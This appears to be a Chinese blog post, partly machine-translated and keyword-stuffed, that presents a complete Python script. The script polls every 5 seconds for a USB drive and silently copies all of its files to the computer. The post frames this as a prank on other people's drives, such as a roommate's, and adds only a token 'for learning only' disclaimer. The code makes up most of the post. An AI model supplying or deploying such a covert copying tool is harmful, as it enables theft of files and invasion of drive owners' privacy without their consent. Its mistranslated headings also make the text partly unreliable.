python 文件操作 复制-python 文件操作 复制
阅读全文大约需要 6 分钟。
Python语言有很多有趣的内容python 文件操作 复制,比如自动给微信好友发消息,查看微信好友撤回的消息,通过微信控制电脑等等。 我也在我的公众号上分享了很多有趣的节目。 近期会收集一些花式操作的Python程序分享给大家,并将专栏命名为“Python花式操作”,持续更新中! 本文部分程序可能来自他人文章,但如果我觉得程序还有改进的余地,我会继续补充一些代码,并在文末标明原程序出处.
今天的《Python秀操作》分享的是一个自动复制电脑U盘内容的程序。 当别人的U盘插入你的电脑时,Python脚本会自动将U盘中的所有内容复制到你的电脑中。 该脚本每 5 秒扫描一次当前计算机是否插入了 U 盘。 如果内容已经复制过,则不会重复复制,每次对应的操作都会记录在日志文件中。
如果正好这个U盘里有一些室友的“学习视频”python 文件操作 复制,如下图。
愤怒指数10星!
注意本程序仅供学习交流使用,请勿非法使用。
Python 展示思路
在windows系统下,当U盘插入你的电脑时,它会被分配一个磁盘名,比如我的电脑上是“J”。 所以我会先定义一个“USB_FILE”变量,表示U盘所在的目录。
我们使用os库来判断当前系统是否有“USB_FILE”。 如果当前系统有这个目录,说明当前电脑有U盘插入。 然后我们通过shutil库将U盘的内容全部复制到我们的电脑中。 在每个操作之间,我添加了 input_log() 方法来将当前对应的操作记录到日志文件中。
Python骚源码
程序主要由三个函数组成,get_dirs_size()、main()、input_log()。
get_dirs_size()
get_dirs_size()主要是返回要拷贝的U盘的长度,用来判断当前拷贝的内容是否重复,如果重复了就不用再拷贝了。
def get_dirs_size(dir):
size = 0
for root, dirs, files in os.walk(dir):
size += sum([getsize(join(root, name)) for name in files])
print(size)
return size
主要的()
main()用于执行主要逻辑代码,即每5秒检查一次当前电脑是否有插入U盘。 如果勾选,记录当前U盘的长度。 下次检测时,如果当前长度没有变化,则无需再次复制。 每一次操作都会记录在日志中,方便日后查看对应的副本信息。
def main():
old_size = 0
new_dirsize = 0
while(1):
if os.path.exists(USB_PATH):
print("检测到 U 盘")
input_log("检测到 U 盘")
new_dirsize = get_dirs_size(USB_PATH)
if old_size != new_dirsize:
for filename in os.listdir(USB_PATH):
print("拷贝了:" + filename)
input_log("拷贝了:" + filename)
shutil.copytree(USB_PATH, SAVE_PATH)
old_size = new_dirsize
else:
print("U 盘没有变化")
input_log("U 盘没有变化")
else:
print("暂时没有 U 判断")
print("开始休眠")
input_log("开始休眠")
sleep(5)
print("休眠结束,重新检测")
input_log("休眠结束,重新检测")
输入日志()
input_log() 使用日志库将相应的操作信息保存到日志文件中。
def input_log(message):
handler = logging.handlers.RotatingFileHandler(LOG_FILE, maxBytes=1024 * 1024, backupCount=5,
encoding='utf-8') # 实例化handler
fmt = '%(asctime)s - %(levelname)s - %(message)s'
formatter = logging.Formatter(fmt) # 实例化formatter
handler.setFormatter(formatter) # 为handler添加formatter
logger = logging.getLogger('tst') # 获取名为tst的logger
logger.addHandler(handler) # 为logger添加handler
logger.setLevel(logging.DEBUG)
logger.info(message)
Python秀教程
这次的程序使用起来非常简单,先下载源码,然后在后台回复“复制”即可获取源码。 然后修改USB_PATH和SAVE_PATH,这两个参数表示你的U盘的位置和你要保存的目录。
LOG_FILE = "test.log"
USB_PATH = "J:\\"
SAVE_PATH = "D:\\disk_copy"